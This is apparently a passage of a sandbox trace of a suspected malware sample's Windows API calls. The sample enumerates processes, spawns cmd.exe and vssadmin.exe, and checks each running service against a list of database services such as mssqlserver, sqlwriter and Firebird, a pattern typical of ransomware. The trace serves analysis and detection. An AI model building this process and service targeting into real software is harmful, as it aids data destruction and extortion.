	[0172.756] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0172.757] lstrlenW (lpString="System") returned 6
	[0172.757] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0172.757] lstrlenW (lpString="smss.exe") returned 8
	[0172.758] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.758] lstrlenW (lpString="csrss.exe") returned 9
	[0172.758] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0172.758] lstrlenW (lpString="wininit.exe") returned 11
	[0172.758] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.759] lstrlenW (lpString="csrss.exe") returned 9
	[0172.759] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0172.759] lstrlenW (lpString="winlogon.exe") returned 12
	[0172.760] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0172.760] lstrlenW (lpString="services.exe") returned 12
	[0172.760] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0172.760] lstrlenW (lpString="lsass.exe") returned 9
	[0172.760] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.761] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.761] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.761] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.761] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.762] lstrlenW (lpString="svchost.exe") returned 11
	[0172.762] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.762] lstrlenW (lpString="svchost.exe") returned 11
	[0172.762] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0172.763] lstrlenW (lpString="dwm.exe") returned 7
	[0172.763] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.763] lstrlenW (lpString="svchost.exe") returned 11
	[0172.763] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.764] lstrlenW (lpString="svchost.exe") returned 11
	[0172.764] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.764] lstrlenW (lpString="svchost.exe") returned 11
	[0172.764] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.765] lstrlenW (lpString="svchost.exe") returned 11
	[0172.765] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.765] lstrlenW (lpString="svchost.exe") returned 11
	[0172.765] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.766] lstrlenW (lpString="svchost.exe") returned 11
	[0172.766] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.766] lstrlenW (lpString="svchost.exe") returned 11
	[0172.766] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.766] lstrlenW (lpString="svchost.exe") returned 11
	[0172.767] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.767] lstrlenW (lpString="svchost.exe") returned 11
	[0172.767] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.768] lstrlenW (lpString="svchost.exe") returned 11
	[0172.768] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0172.768] lstrlenW (lpString="spoolsv.exe") returned 11
	[0172.768] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.768] lstrlenW (lpString="svchost.exe") returned 11
	[0172.769] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0172.769] lstrlenW (lpString="audiodg.exe") returned 11
	[0172.769] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0172.770] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0172.770] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0172.770] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0172.770] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0172.771] lstrlenW (lpString="Memory Compression") returned 18
	[0172.771] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0172.771] lstrlenW (lpString="sihost.exe") returned 10
	[0172.771] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.772] lstrlenW (lpString="svchost.exe") returned 11
	[0172.772] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0172.772] lstrlenW (lpString="taskhostw.exe") returned 13
	[0172.772] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0172.773] lstrlenW (lpString="taskhostw.exe") returned 13
	[0172.773] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0172.773] lstrlenW (lpString="explorer.exe") returned 12
	[0172.773] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0172.774] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0172.774] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0172.774] lstrlenW (lpString="SearchUI.exe") returned 12
	[0172.774] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0172.775] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0172.775] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0172.775] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0172.775] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0172.775] lstrlenW (lpString="fvppjh.exe") returned 10
	[0172.776] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0172.776] lstrlenW (lpString="cmd.exe") returned 7
	[0172.776] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0172.776] lstrlenW (lpString="conhost.exe") returned 11
	[0172.776] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0172.777] lstrlenW (lpString="consent.exe") returned 11
	[0172.777] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0172.777] lstrlenW (lpString="vssadmin.exe") returned 12
	[0172.778] Process32NextW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0172.778] CloseHandle (hObject=0x568) returned 1
	[0172.778] Sleep (dwMilliseconds=0x1f4) 
	[0173.475] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c08b8
	[0173.489] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0173.492] GetLastError () returned 0xea
	[0173.492] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0173.493] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0173.495] CloseServiceHandle (hSCObject=0x41c08b8) returned 1
	[0173.495] lstrlenW (lpString="Appinfo") returned 7
	[0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0173.496] lstrlenW (lpString="AppXSvc") returned 7
	[0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0173.496] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0173.496] lstrlenW (lpString="Audiosrv") returned 8
	[0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0173.496] lstrlenW (lpString="BFE") returned 3
	[0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0173.496] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0173.497] lstrlenW (lpString="CDPSvc") returned 6
	[0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0173.497] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0173.497] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0173.497] lstrlenW (lpString="CryptSvc") returned 8
	[0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0173.497] lstrlenW (lpString="DcomLaunch") returned 10
	[0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0173.498] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0173.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0173.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0173.498] lstrlenW (lpString="Dhcp") returned 4
	[0173.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0173.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0173.498] lstrlenW (lpString="Dnscache") returned 8
	[0173.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0173.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0173.498] lstrlenW (lpString="DPS") returned 3
	[0173.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0173.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0173.499] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0173.499] lstrlenW (lpString="DusmSvc") returned 7
	[0173.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0173.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0173.499] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0173.499] lstrlenW (lpString="EventLog") returned 8
	[0173.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0173.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0173.499] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0173.499] lstrlenW (lpString="EventSystem") returned 11
	[0173.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0173.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0173.499] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0173.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
